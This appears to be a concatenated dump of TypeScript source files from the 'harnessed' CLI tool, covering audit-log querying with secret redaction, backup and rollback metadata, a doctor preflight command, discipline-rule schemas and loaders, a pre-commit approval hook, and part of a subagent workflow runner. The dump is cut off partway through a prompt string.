Sister: src/cli/doctor.ts register + ExitError + flag validation pattern.\n// Karpathy hard limit ≤200L.\n\nimport { spawn } from 'node:child_process'\nimport { existsSync, readFileSync } from 'node:fs'\nimport type { Command } from 'commander'\nimport type { AuditRecord } from '../audit/log.js'\nimport { t } from '../i18n/index.js'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\n\n// v3.0.3 — homedir-rooted via harnessedRoot SoT (sister src/audit/log.ts).\nfunction auditPath(): string {\n return harnessedFile('audit.log')\n}\n\n// D-04: pre-compile at module load (NOT inside loop per PLAN sneak-block).\n// Apply to task_excerpt field only (other fields are structured IDs/enums/timestamps).\n// Pipeline order: paginate → redact → jq → render (redact LAST per RESEARCH § 2.2).\nconst REDACT_PATTERNS: Array<[RegExp, string]> = [\n [/api[_-]?key\\s*[:=]\\s*\\S+/gi, 'api_key=[REDACTED]'],\n [/\\btoken\\s*[:=]\\s*\\S+/gi, 'token=[REDACTED]'],\n [/\\bpassword\\s*[:=]\\s*\\S+/gi, 'password=[REDACTED]'],\n [/Authorization:\\s*Bearer\\s+\\S+/gi, 'Authorization: Bearer [REDACTED]'],\n [/\\b(sk-|pk-|gh_|ghp_|ya29\\.|AIza)[A-Za-z0-9_\\-.]{4,}/g, '[REDACTED]'],\n]\n\nfunction redact(s: string): string {\n return REDACT_PATTERNS.reduce((acc, [re, rep]) => acc.replace(re, rep), s)\n}\n\nfunction redactRecord(r: AuditRecord): AuditRecord {\n return { ...r, task_excerpt: redact(r.task_excerpt) }\n}\n\nfunction renderHumanTable(records: AuditRecord[]): void {\n // 5-col: ts(19) | phase(6) | category(11) | matched_rule_id(20) | outcome\n const header = `${'ts'.padEnd(19)} | ${'phase'.padEnd(6)} | ${'category'.padEnd(11)} | ${'matched_rule_id'.padEnd(20)} | outcome`\n const sep = `${'-'.repeat(19)}-+-${'-'.repeat(6)}-+-${'-'.repeat(11)}-+-${'-'.repeat(20)}-+--------`\n console.log(header)\n console.log(sep)\n for (const r of records) {\n const ts = r.ts.slice(0, 19)\n const phase = r.phase.padEnd(6)\n const cat = r.category.padEnd(11)\n const rule = (r.matched_rule_id ?? 'null').padEnd(20)\n console.log(`${ts} | ${phase} | ${cat} | ${rule} | ${r.outcome}`)\n }\n}\n\nfunction pipeToJq(filterExpr: string, lines: string[]): Promise<number> {\n return new Promise((resolve, reject) => {\n // D-01: spawn with shell:false (default) — argv-mode immune to shell injection (STRIDE T).\n const child = spawn('jq', [filterExpr], {\n stdio: ['pipe', 'inherit', 'inherit'],\n windowsHide: true,\n })\n // Handle jq absent (ENOENT) — actionable error per doctor.ts jq check pattern.\n child.on('error', (err) => {\n const e = err as NodeJS.ErrnoException\n if (e.code === 'ENOENT') {\n console.error(t('audit_log.jq_missing'))\n resolve(1)\n } else {\n reject(err)\n }\n })\n child.on('close', (code) => resolve(code ?? 0))\n child.stdin.write(lines.join('\\n'))\n child.stdin.end()\n })\n}\n\nexport function registerAuditLog(program: Command): void {\n program\n .command('audit-log')\n .description(\n 'Query routing audit log (<harnessed-root>/audit.log) with optional jq filter (R10.1)',\n )\n .option('--filter <expr>', 'jq filter expression (e.g. \\'.category==\"engineering\"\\')')\n .option('--tail <n>', 'show N most recent records (default 50)', '50')\n .option('--head <n>', 'show N oldest records (--head takes priority over --tail)')\n .option('--reverse', 'flip output order')\n .option('--json', 'output full 12-field JSON instead of human table')\n .action(\n async (opts: {\n filter?: string\n tail?: string\n head?: string\n reverse?: boolean\n json?: boolean\n }) => {\n // H1 gate: validate pagination flags before any I/O (sister doctor.ts pattern).\n const tailN = opts.tail !== undefined ? Number(opts.tail) : 50\n if (Number.isNaN(tailN) || tailN < 1) {\n console.error(t('audit_log.tail_invalid'))\n process.exit(2)\n }\n const headN = opts.head !== undefined ? Number(opts.head) : undefined\n if (headN !== undefined && (Number.isNaN(headN) || headN < 1)) {\n console.error(t('audit_log.head_invalid'))\n process.exit(2)\n }\n\n // Read audit.log — SoT-derived path (STRIDE T: no derivation from user input).\n const path = auditPath()\n if (!existsSync(path)) {\n console.log(t('audit_log.no_records_file', { path }))\n process.exit(0)\n }\n\n const raw = readFileSync(path, 'utf8')\n const lines = raw\n .split('\\n')\n .map((l) => l.trim())\n .filter((l) => l.length > 0)\n\n if (lines.length === 0) {\n console.log(t('audit_log.no_records_empty'))\n process.exit(0)\n }\n\n // Parse records; skip malformed lines silently.\n let records: AuditRecord[] = []\n for (const line of lines) {\n try {\n records.push(JSON.parse(line) as AuditRecord)\n } catch {\n // skip malformed line\n }\n }\n\n // D-03: pagination — --head takes priority over --tail per PLAN must_haves.\n if (headN !== undefined) {\n records = records.slice(0, headN)\n } else {\n records = records.slice(-tailN)\n }\n\n // D-03: --reverse flips output order.\n if (opts.reverse) records = records.reverse()\n\n // D-04: redact task_excerpt BEFORE any output (apply last in pipeline per RESEARCH § 2.2).\n records = records.map(redactRecord)\n\n // D-01: --filter → pipe redacted JSONL through jq subprocess.\n if (opts.filter) {\n // jq absent → actionable error (sister doctor.ts jq check pattern).\n const redactedLines = records.map((r) => JSON.stringify(r))\n const exitCode = await pipeToJq(opts.filter, redactedLines)\n process.exit(exitCode)\n }\n\n // D-02: output format.\n if (opts.json) {\n for (const r of records) {\n console.log(JSON.stringify(r, null, 2))\n }\n } else {\n renderHumanTable(records)\n }\n\n process.exit(0)\n },\n )\n}\n","// Phase 1.2 backup writer per ADR 0004 § 3 schema + Pattern B + C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): each backed-up file's metadata entry\n// records `eol: 'lf' | 'crlf'` based on the original on-disk content\n// (detected by Buffer.includes('\\r\\n')). cli/rollback.ts MUST honor this\n// field on restore — naive `fs.writeFile(buf)` would otherwise round-trip\n// CRLF→LF on Win→Unix migrations or vice versa, mutating the user's\n// original file content. The eol field is the only safe way to preserve\n// the original line ending across a backup/restore cycle.\n//\n// ISO timestamp format: `2026-05-12T13-45-22.123Z`. We replace `:` with `-`\n// because Windows refuses `:` inside filenames; `.` and `-` are universally\n// safe.\n//\n// Pattern B (lazy timestamp dir creation): timestamp dir is mkdir-ed on the\n// fly inside backup() — we never pre-create unused dirs.\n// Pattern C: returns Result-shaped object; mkdir/write failures yield\n// InstallResult-style { ok: false, error } never throws.\n\nimport { createHash } from 'node:crypto'\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname, join, relative } from 'node:path'\nimport { harnessedSubdir } from './harnessedRoot.js'\nimport type { DiffPlan, InstallContext, InstallError } from './types.js'\n\n// v2.0.1 fix: backup root migrated from `<ctx.cwd>/.harnessed-backup/` to\n// `~/.harnessed/backups/` to support running harnessed from read-only CWD\n// (e.g. user launched terminal from `C:\\Program Files\\Warp\\` → mkdir EPERM).\n// `getBackupRoot()` is exported so cli/backup-list.ts + cli/gc.ts +\n// cli/rollback.ts share the same SoT (sister Phase 2.6 single-source-of-truth\n// per ADR 0024 capability abstraction pattern).\n//\n// v3.0.3: routed through the shared `getHarnessedRoot()` SoT (sister\n// `harnessedRoot.ts`) so all harness-owned roots compose from a single helper.\n// Path remains `<homedir>/.harnessed/backups` — no behavioral change.\nexport function getBackupRoot(): string {\n return harnessedSubdir('backups')\n}\n\nexport interface BackupFileEntry {\n target: string // absolute path of original file\n backup: string // absolute path of backup copy\n sha1: string // sha1 of original content\n eol: 'lf' | 'crlf' // ASSUMPTIONS C3 — preserve original line ending\n}\n\nexport interface BackupMetadata {\n installer: string // manifest.metadata.name\n manifest: string // manifest.metadata.name (alias for clarity)\n timestamp: string // ISO-8601 (with `:` replaced by `-`)\n files: BackupFileEntry[]\n}\n\nexport type BackupResult =\n | { ok: true; backupId: string; backupDir: string }\n | { ok: false; error: InstallError }\n\nconst HOME_DIR = process.env.HOME ?? process.env.USERPROFILE ?? ''\n\nfunction mirrorPath(target: string, scope: 'HOME' | 'PROJECT', backupDir: string): string {\n // For HOME-scope files, mirror under .harnessed-backup/<id>/HOME/<rel-to-home>;\n // for PROJECT-scope, mirror under .harnessed-backup/<id>/PROJECT/<rel-to-cwd>.\n // If we cannot resolve a relative path (e.g. file is outside home dir on a\n // weird Win symlink), fall back to a flat sha1-of-path filename to avoid\n // colliding with sibling files.\n const root = scope === 'HOME' ? HOME_DIR : '.'\n const rel = root ? relative(root, target) : target\n if (!rel || rel.startsWith('..')) {\n const flat = createHash('sha1').update(target).digest('hex').slice(0, 16)\n return join(backupDir, scope, flat)\n }\n return join(backupDir, scope, rel)\n}\n\nfunction detectEol(buf: Buffer): 'lf' | 'crlf' {\n // First CRLF wins; manifests and config JSON are typically pure-LF or\n // pure-CRLF in real world (mixed-EOL files exist but are vanishingly rare;\n // we pick the dominant convention based on first occurrence).\n return buf.includes('\\r\\n') ? 'crlf' : 'lf'\n}\n\nexport async function backup(plan: DiffPlan, ctx: InstallContext): Promise<BackupResult> {\n const filename = ctx.manifest.metadata.name\n\n // ISO timestamp with `:` → `-` for Win filename safety.\n const backupId = new Date().toISOString().replace(/:/g, '-')\n const backupDir = join(getBackupRoot(), backupId)\n\n try {\n await mkdir(backupDir, { recursive: true })\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: '/',\n message: `failed to create backup dir ${backupDir}: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-mkdir-failed',\n },\n }\n }\n\n const entries: BackupFileEntry[] = []\n\n for (const file of plan.files) {\n let buf: Buffer\n try {\n buf = await readFile(file.target)\n } catch (err) {\n // ENOENT is expected for pure-create plans (oldText === '' + file does\n // not yet exist) — record an empty backup entry so rollback knows to\n // delete the file rather than restore.\n const code = (err as NodeJS.ErrnoException).code\n if (code === 'ENOENT' && file.oldText === '') {\n entries.push({\n target: file.target,\n backup: '', // sentinel: no backup written; rollback should unlink target\n sha1: '',\n eol: 'lf', // moot for non-existent file; default to lf\n })\n continue\n }\n return {\n ok: false,\n error: {\n file: filename,\n path: file.target,\n message: `failed to read original file for backup: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-read-failed',\n },\n }\n }\n\n const sha1 = createHash('sha1').update(buf).digest('hex')\n const eol = detectEol(buf)\n const dest = mirrorPath(file.target, file.scope, backupDir)\n\n try {\n await mkdir(dirname(dest), { recursive: true })\n await writeFile(dest, buf)\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: dest,\n message: `failed to write backup copy: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-write-failed',\n },\n }\n }\n\n entries.push({ target: file.target, backup: dest, sha1, eol })\n }\n\n // metadata.json — single source of truth for rollback.\n const metadata: BackupMetadata = {\n installer: filename,\n manifest: filename,\n timestamp: backupId,\n files: entries,\n }\n const metadataPath = join(backupDir, 'metadata.json')\n try {\n await writeFile(metadataPath, `${JSON.stringify(metadata, null, 2)}\\n`, 'utf8')\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: metadataPath,\n message: `failed to write metadata.json: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-metadata-failed',\n },\n }\n }\n\n return { ok: true, backupId, backupDir }\n}\n","// Phase 1.2 cli subcommand `backup list` per ADR 0004 § 3.\n//\n// Lists all backup snapshots under .harnessed-backup/<timestamp>/metadata.json\n// with installer / manifest / timestamp / file-count summary. Sister to\n// gc.ts (which deletes old snapshots) and rollback.ts (which restores from\n// a chosen timestamp).\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: Array<{ target: string }>\n}\n\nexport function registerBackupList(program: Command): void {\n const backup = program.command('backup').description('Backup snapshot operations')\n backup\n .command('list')\n .description('List backup snapshots under .harnessed-backup/')\n .action(async () => {\n const root = getBackupRoot()\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log(t('backup.no_backups', { root }))\n return\n }\n if (dirs.length === 0) {\n console.log(t('backup.no_backups_empty', { root }))\n return\n }\n for (const ts of dirs) {\n try {\n const meta = JSON.parse(\n await readFile(join(root, ts, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n console.log(\n `${ts} ${meta.manifest} (${meta.files.length} file${meta.files.length === 1 ? '' : 's'})`,\n )\n } catch {\n console.log(`${ts} (metadata.json missing or unreadable)`)\n }\n }\n console.log(t('backup.total_snapshots', { count: dirs.length }))\n })\n}\n","// Phase 1.2 cli subcommand `doctor` per PLAN § 4.1 acceptance B8' + ASSUMPTIONS B4 候选 1 + C4.\n// v3.7.0 Phase 1 — refactored to thin dispatcher (≤100L, well within B-03 ≤225L hard limit).\n// All checks live in `src/cli/lib/check-*.ts` helper files; CHECKS array is single source\n// of truth (`src/cli/lib/doctor-registry.ts`). Adding a check: see registry header.\n\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { CHECKS, type CheckResult } from './lib/doctor-registry.js'\n\nexport function registerDoctor(program: Command): void {\n program\n .command('doctor')\n .description(\n 'Preflight checks (Node / MCP scope / jq / Win bash / origin URL / gstack prefix / deprecations / token budget / Agent Teams / planning-with-files / mattpocock-skills / MCP availability)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n // Run all checks in parallel (no data deps between them). Order preserved\n // for human-readable output per doctor.test.ts cell-1+4+5 expectations.\n const results: CheckResult[] = await Promise.all(CHECKS.map((c) => c()))\n const hasFail = results.some((r) => r.status === 'fail')\n const hasWarn = results.some((r) => r.status === 'warn')\n if (opts.json) {\n console.log(\n JSON.stringify(\n { checks: results, summary: hasFail ? 'fail' : hasWarn ? 'warn' : 'pass' },\n null,\n 2,\n ),\n )\n } else {\n for (const r of results) {\n const mark = r.status === 'pass' ? '✓' : r.status === 'warn' ? '⚠' : '✗'\n console.log(`${mark} ${r.name} — ${r.message}`)\n if (r.status !== 'pass' && r.fix) console.log(` fix: ${r.fix}`)\n }\n console.log(\n hasFail\n ? t('doctor.summary.fail')\n : hasWarn\n ? t('doctor.summary.warn')\n : t('doctor.summary.pass'),\n )\n }\n process.exit(hasFail ? 1 : 0) // B-06: warn ≠ fail (advisory only)\n })\n}\n","// src/workflow/schema/discipline.ts — Phase v3.0-3.3 W0 T3.3.W0.6 (R30.9 + D-09).\n// TypeBox schema for workflows/disciplines/*.yaml (6 file ship v3.0 per D-09 L0 Discipline Substrate).\n// Sister: src/workflow/schema/judgment.ts dual-shape (triggers vs rules) pattern.\n//\n// 6 file covered (per D-09):\n// base shape (4 file) karpathy / output-style / language / operational\n// priority_hierarchy shape priority.yaml (ordered array of capability tier name)\n// protocols shape protocols.yaml (Record<string, ProtocolShape>)\n//\n// 18th surface schema_version: harnessed.discipline.v1 (per T3.3.W0.11 ADD).\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 + RESEARCH-disciplines § 1 verbatim.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst EnforcementLayer = Type.Union([\n Type.Literal('code-writing'), // karpathy 心法 — write code phase\n Type.Literal('output'), // BLUF / language / no-emoji — emit response phase\n Type.Literal('commit'), // biome / A7 / commit safety — pre-commit phase\n Type.Literal('workflow'), // priority hierarchy / protocols — workflow-level arbitration\n Type.Literal('tool'), // tool invoke discipline (reserved for v3.x extension)\n])\n\nconst Enforcement = Type.Union([\n Type.Literal('halt'), // process.exit non-zero, sister fallbackHandlers\n Type.Literal('warn'), // console.warn emit, continue\n Type.Literal('auto-fix'), // run auto_fix_cmd then continue (biome --write pattern)\n Type.Literal('info'), // log only, no action\n])\n\nexport const DisciplineRule = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // kebab-case\n description: Type.String(), // human-readable\n enforcement: Enforcement,\n trigger: Type.Union([Type.String(), Type.Array(Type.String())]), // expr OR always-on list\n check_method: Type.String(), // heuristic / regex / external-cmd / llm-judge / file-content-match\n auto_fix_cmd: Type.Optional(Type.String()), // only enforcement=auto-fix\n },\n { additionalProperties: false },\n)\n\n// priority.yaml 专字段 — 7-tier capability hierarchy\nconst PriorityHierarchy = Type.Array(Type.String(), { minItems: 1 })\n\n// protocols.yaml 专字段 — Ideation→Onboarding + Plan→Execute + file-ownership-strict\nconst ProtocolShape = Type.Object(\n {\n description: Type.String(),\n required_fields: Type.Optional(Type.Array(Type.String())),\n forbidden_phrases: Type.Optional(Type.Array(Type.String())),\n file_ownership: Type.Optional(Type.Record(Type.String(), Type.Array(Type.String()))),\n rules: Type.Optional(Type.Array(DisciplineRule)),\n },\n { additionalProperties: false },\n)\n\nexport const Discipline = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.discipline),\n discipline: Type.String({ minLength: 1 }), // basename (karpathy / output-style / ...)\n enforcement_layer: EnforcementLayer,\n auto_enforce: Type.Boolean(),\n rules: Type.Array(DisciplineRule),\n priority_hierarchy: Type.Optional(PriorityHierarchy), // priority.yaml only\n protocols: Type.Optional(Type.Record(Type.String(), ProtocolShape)), // protocols.yaml only\n },\n { additionalProperties: false },\n)\n\nexport type DisciplineT = Static<typeof Discipline>\nexport type DisciplineRuleT = Static<typeof DisciplineRule>\nexport type ProtocolShapeT = Static<typeof ProtocolShape>\n","// src/workflow/disciplineLoader.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9 D-09).\n// Sister judgmentResolver.ts pattern: module-level Map<basename, DisciplineT> cache,\n// load + TypeBox validate on first access, subsequent cache hit.\n//\n// Public API:\n// loadDiscipline(basename, packageRoot): Promise<DisciplineT>\n// loadAllApplied(disciplines_applied[] | undefined, packageRoot):\n// Promise<Map<basename, DisciplineT>> — undefined defaults to all 6\n// getRule(basename, rule_id): DisciplineRuleT | undefined (sync, requires prior load)\n// _clearDisciplineCache(): void (test-only)\n//\n// Hot path: master orchestrator workflow load + 4 hook query path.\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { Discipline, type DisciplineRuleT, type DisciplineT } from './schema/discipline.js'\n\n/** All 6 LOCKED basenames per D-09 — sister DisciplineName Literal Union. */\nexport const DEFAULT_APPLIED: readonly string[] = [\n 'karpathy',\n 'output-style',\n 'language',\n 'operational',\n 'priority',\n 'protocols',\n]\n\nconst _cache = new Map<string, DisciplineT>()\n\nexport async function loadDiscipline(basename: string, packageRoot: string): Promise<DisciplineT> {\n const cached = _cache.get(basename)\n if (cached) return cached\n const yamlPath = resolve(packageRoot, 'workflows', 'disciplines', `${basename}.yaml`)\n const raw = await readFile(yamlPath, 'utf8')\n const parsedRaw = parseYaml(raw) as unknown\n if (!Value.Check(Discipline, parsedRaw)) {\n const errors = [...Value.Errors(Discipline, parsedRaw)]\n .slice(0, 3)\n .map((e) => `${e.path} ${e.message}`)\n .join('; ')\n throw new Error(`Invalid discipline file ${basename}.yaml: ${errors}`)\n }\n const parsed = parsedRaw as DisciplineT\n _cache.set(basename, parsed)\n return parsed\n}\n\nexport async function loadAllApplied(\n disciplines_applied: readonly string[] | undefined,\n packageRoot: string,\n): Promise<Map<string, DisciplineT>> {\n const applied =\n disciplines_applied && disciplines_applied.length > 0 ? disciplines_applied : DEFAULT_APPLIED\n const out = new Map<string, DisciplineT>()\n for (const basename of applied) {\n out.set(basename, await loadDiscipline(basename, packageRoot))\n }\n return out\n}\n\nexport function getRule(basename: string, ruleId: string): DisciplineRuleT | undefined {\n const d = _cache.get(basename)\n if (!d) return undefined\n return d.rules.find((r) => r.id === ruleId)\n}\n\n/** Test-only — clears the parsed-yaml cache so cache-hit / cache-miss fixtures\n * stay independent. Production callers should never touch this. */\nexport function _clearDisciplineCache(): void {\n _cache.clear()\n}\n","// src/discipline/enforcement/before-commit.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: git commit / push cmd dispatch 前;ralph-loop / subagent / 主 session 全走此 hook.\n// Reads operational.yaml rule[id=biome-preempt + no-push-without-approval + no-skip-hooks]\n// → enforce halt OR auto-fix per yaml enforcement field.\n//\n// Sister src/routing/lib/fallbackHandlers.ts ≤80L split pattern.\n\nimport { execSync } from 'node:child_process'\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface CommitHookCtx {\n changedFiles: readonly string[]\n cmdArgs: readonly string[]\n packageRoot: string\n cmdType: 'git-commit' | 'git-push'\n /** Whether user has explicitly approved the operation (push gate). */\n hasUserApproval: boolean\n}\n\nconst TS_JS_RE = /\\.(ts|tsx|js|mjs)$/\n\nexport async function runBeforeCommitHook(ctx: CommitHookCtx): Promise<void> {\n const d = await loadDiscipline('operational', ctx.packageRoot)\n\n // Rule: biome-preempt — auto-fix if TS/JS files in commit\n if (ctx.cmdType === 'git-commit' && ctx.changedFiles.some((f) => TS_JS_RE.test(f))) {\n const rule = d.rules.find((r) => r.id === 'biome-preempt')\n if (rule?.auto_fix_cmd) {\n console.warn('⚠️ biome preempt — running auto-fix before commit')\n execSync(rule.auto_fix_cmd, { cwd: ctx.packageRoot, stdio: 'inherit' })\n }\n }\n\n // Rule: no-skip-hooks — halt if --no-verify present (no user override at hook level\n // — D-09 LOCKED, only main session bypass via user explicit cmd line invoke)\n if (ctx.cmdArgs.includes('--no-verify')) {\n console.error('❌ no-skip-hooks violated: --no-verify forbidden')\n process.exit(2)\n }\n\n // Rule: no-push-without-approval — halt if push + no approval\n if (ctx.cmdType === 'git-push' && !ctx.hasUserApproval) {\n console.error('❌ no-push-without-approval: user explicit approval required')\n process.exit(2)\n }\n}\n","// src/checkpoint/engineHook.ts — Phase 3.1 W3 T3.2 (W-01 orchestrator promote PRIMARY).\n// Extracted from engine.ts to keep engine.ts ≤200L Karpathy hard limit clean.\n// Single responsibility: bridge engine.ts events → current-workflow.json +\n// checkpoint.json double-write. Analog: src/routing/lib/sdkReconcile.ts ≤56L\n// (Phase 2.2 helper extract pattern for testability).\n// D-04 WIRE-IN LOCKED + W-04 mitigation (phaseId=\"unknown\" warn-only fail-loud).\n//\n// v3.0.3 — checkpoint + archive path routed through `getHarnessedRoot()` SoT\n// (homedir-rooted; EPERM-free in read-only CWD). Sister v2.0.1 backup pattern.\n\nimport { join } from 'node:path'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { activate as stateActivate, complete as stateComplete } from './state.js'\nimport { writeCheckpoint } from './template.js'\n\nexport interface EngineCheckpointHookCtx {\n phaseId: string\n sessionId?: string\n status: 'active' | 'complete' // 'paused' goes through sigintTrap.ts (W4), not this hook\n lastTask?: string\n keyDecisions?: string[]\n canonicalRefs?: string[]\n}\n\n/** Activate workflow + return projected checkpoint path on phase start.\n * Lock acquired transitively via stateActivate → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function activatePhase(phaseId: string): Promise<{ checkpointPath: string }> {\n const checkpointPath = join(harnessedSubdir('checkpoints'), `${phaseId}.json`)\n await stateActivate(phaseId, checkpointPath)\n return { checkpointPath }\n}\n\n/** Write final checkpoint envelope + transition workflow status='complete' on success.\n * Lock acquired transitively via stateComplete → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function completePhase(ctx: EngineCheckpointHookCtx): Promise<void> {\n if (ctx.phaseId === 'unknown') {\n console.error(\n `[harnessed] WARN engineHook: phaseId=\"unknown\" — checkpoint paths fall back to ${join(harnessedSubdir('checkpoints'), 'unknown.json')} (Karpathy fail-loud non-blocking; W-04 mitigation)`,\n )\n }\n writeCheckpoint({\n schemaVersion: SCHEMA_VERSIONS.checkpoint,\n phase: ctx.phaseId,\n status: 'complete',\n last_task: ctx.lastTask ?? 'engine.runRouting complete',\n key_decisions: ctx.keyDecisions ?? [],\n canonical_refs: ctx.canonicalRefs ?? [],\n ...(ctx.sessionId ? { session_id: ctx.sessionId } : {}),\n cwd: process.cwd(),\n timestamp: new Date().toISOString(),\n archive_path: `${join(harnessedSubdir('archive'), `phase-${ctx.phaseId}`)}/`,\n })\n await stateComplete()\n}\n","// run.ts — D-03 WIRED + D-04 PUSH + W0.2 (master detect + disciplines wedge) + W1.5\n// (3 phase-level hook: before-spawn / after-output / before-commit per RESEARCH-disciplines § 4.4)。\n// Phase v3.4.4 — _dispatchSkillStub.fn production default rewired to real sdkSpawn\n// (was literal '<stub for X>'). DI seam preserved for tests.\n// Phase v3.4.4 (Phase 3) — _dispatchSkillStub.fn now conditionally wraps sdkSpawn\n// in ralphLoopWrap when phase opt-in (max_iterations / fallback / upstream='ralph-loop'\n// signal); else single-shot per Phase 2. max-iter resolved via gateContext.maxIterations\n// (CLI flag) → phase.max_iterations → 20, clamped 100.\n// Phase v3.4.4 (Phase 4) — buildAgentDef enriched with role-prompts.yaml lookup\n// + workflowName plumbed through MaxIterFallbackCtx (replaces hardcoded\n// 'harnessed-run' literal at fallback site).\nimport { dirname, join, resolve as pathResolve } from 'node:path'\nimport { activatePhase, completePhase } from '../checkpoint/engineHook.js'\nimport { pause as statePause } from '../checkpoint/state.js'\nimport { loadRolePrompts, type RolePrompt } from '../cli/lib/generateCommands.js'\nimport { runAfterOutputHook } from '../discipline/enforcement/after-output.js'\nimport { runBeforeCommitHook } from '../discipline/enforcement/before-commit.js'\nimport { loadDisciplinesForPhase } from '../discipline/enforcement/before-phase-execute.js'\nimport { arbitrateBeforeSpawn } from '../discipline/enforcement/before-spawn.js'\nimport { isVetoed } from './governance.js'\nimport { resolveJudgmentGate } from './judgmentResolver.js'\nimport type { AgentDefinition } from './lib/agentDefinition.js'\nimport {\n type FallbackMaxIterationsExceededConfig,\n handleMaxIterationsExceeded,\n MaxIterationsExceededError,\n ralphLoopWrap,\n} from './lib/ralphLoop.js'\nimport { sdkSpawn } from './lib/sdkSpawn.js'\nimport { loadPhases } from './loadPhases.js'\nimport { type MasterName, runMasterOrchestrator } from './masterOrchestrator.js'\n\nexport type { FallbackMaxIterationsExceededConfig } from './lib/ralphLoop.js'\n\nconst MASTER_NAMES: readonly MasterName[] = ['discuss', 'plan', 'task', 'verify', 'auto']\n\n/** Phase v3.4.4 (Phase 3) — ralph-loop default cap (sister src/routing/engine.ts:88). */\nconst RALPH_DEFAULT_MAX_ITER = 20\n/** Phase v3.4.4 (Phase 3) — ralph-loop hard upper bound (sister workflows/defaults.yaml:103\n * + Phase 2.2 STRIDE T-2.2-05 DoS mitigation). */\nconst RALPH_HARD_UPPER_LIMIT = 100\n\nexport interface WorkflowRunResult {\n status: 'complete' | 'paused-veto' | 'failed'\n phasesRun: number\n lastPhaseId?: string\n /** Phase ids whose `gate` resolved false → skipped (D-04 + D-11 v2 consume). */\n skippedPhases?: string[]\n}\n\n/** D-03 WIRED stub spawner;W1.5 — Optional target + triggers_commit additive default undefined。\n * Exported for test injection (W1.5 fixture vi.spyOn override stub shape to fire hook path)。 */\nexport interface DispatchStubResult {\n status: 'ok' | 'fail'\n output: string\n decision?: string\n target?: 'chat' | 'file' | 'commit-message'\n triggers_commit?: boolean\n /** v3.5.0 Phase 2 — Option 1-Lite escalation signal from spawned subagent.\n * When true, runWorkflow emits stderr hint suggesting user open Agent Teams\n * in main Claude Code session (D3). */\n needsTeamsEscalation?: boolean\n escalationReason?: string\n}\n/** v3.5.0 Phase 2 — Option 1-Lite escalation rules injected via\n * criticalSystemReminder_EXPERIMENTAL (already piped through sdkReconcile.ts\n * L54-56 into spawned subagent prompt). Self-contained natural-language\n * transcription of workflows/judgments/parallelism-gate.yaml agent-teams-upgrade\n * fires_when. Spawned subagent CANNOT itself call TeamCreate (SDK v0.3.142 does\n * not expose Team APIs); it ONLY signals via structured_output.needs_teams_escalation.\n * See PHASE-2-SPEC.md § D2 for design rationale + spike result. */\nexport const ESCALATION_RULES = `If during this task you detect ANY of the following 5 conditions, set \\`needs_teams_escalation: true\\` in your structured output and fill \\`escalation_reason\\` with the trigger name + one-sentence specifics. These are signals to the human user in the main Claude Code session — do NOT attempt to call TeamCreate/SendMessage/TeamDelete yourself (those tools are not available to you).\n\nFive triggers (any one suffices):\n\n1. **teammate_send_message_needed** — the task requires two or more subagents to exchange messages mid-task (e.g., reconciling API contract proposals across frontend and backend), not just fan-out + report.\n\n2. **subagent_context_overflow** — your context budget is filling and a separate subagent is needed to take over a portion of the work.\n\n3. **shared_task_list** — multiple subagents need to coordinate self-assignment from a shared task list (not pre-partitioned work).\n\n4. **opposing_hypothesis_debate** — the task requires two subagents to defend opposing hypotheses to a lead arbiter (e.g., root-cause debugging where two competing theories need separate evidence-gathering).\n\n5. **fullstack_three_way** — the task is a synchronized fullstack push (frontend + backend + tests) requiring API contract alignment across three roles simultaneously.\n\nIf none of the five apply, omit \\`needs_teams_escalation\\` (defaults to false) and proceed normally.`\n\n/** v3.6.0 Phase 3 — Transparent-skip rule injection (P0b 下半, Audit §\n * fallback 三条铁律 \"拿不准 → 倾向跳过 + 透明声明\"). Sister to ESCALATION_RULES\n * above, appended to the same `criticalSystemReminder_EXPERIMENTAL` field via\n * `${ESCALATION_RULES}\\n\\n${TRANSPARENT_SKIP_RULES}` in buildAgentDef. Spawned\n * subagent reads the rule + emits the verbatim skip message when gate context\n * is ambiguous instead of silent execution.\n * See workflows/disciplines/operational.yaml `transparent-skip-on-low-confidence`\n * rule (check_method: prompt-inject) for the discipline-layer declaration. */\nexport const TRANSPARENT_SKIP_RULES = `When you encounter a phase gate or routing decision where the input context is missing key fields, default-valued, or contradictory, do NOT proceed silently. Instead, skip the phase and emit a one-line transparent 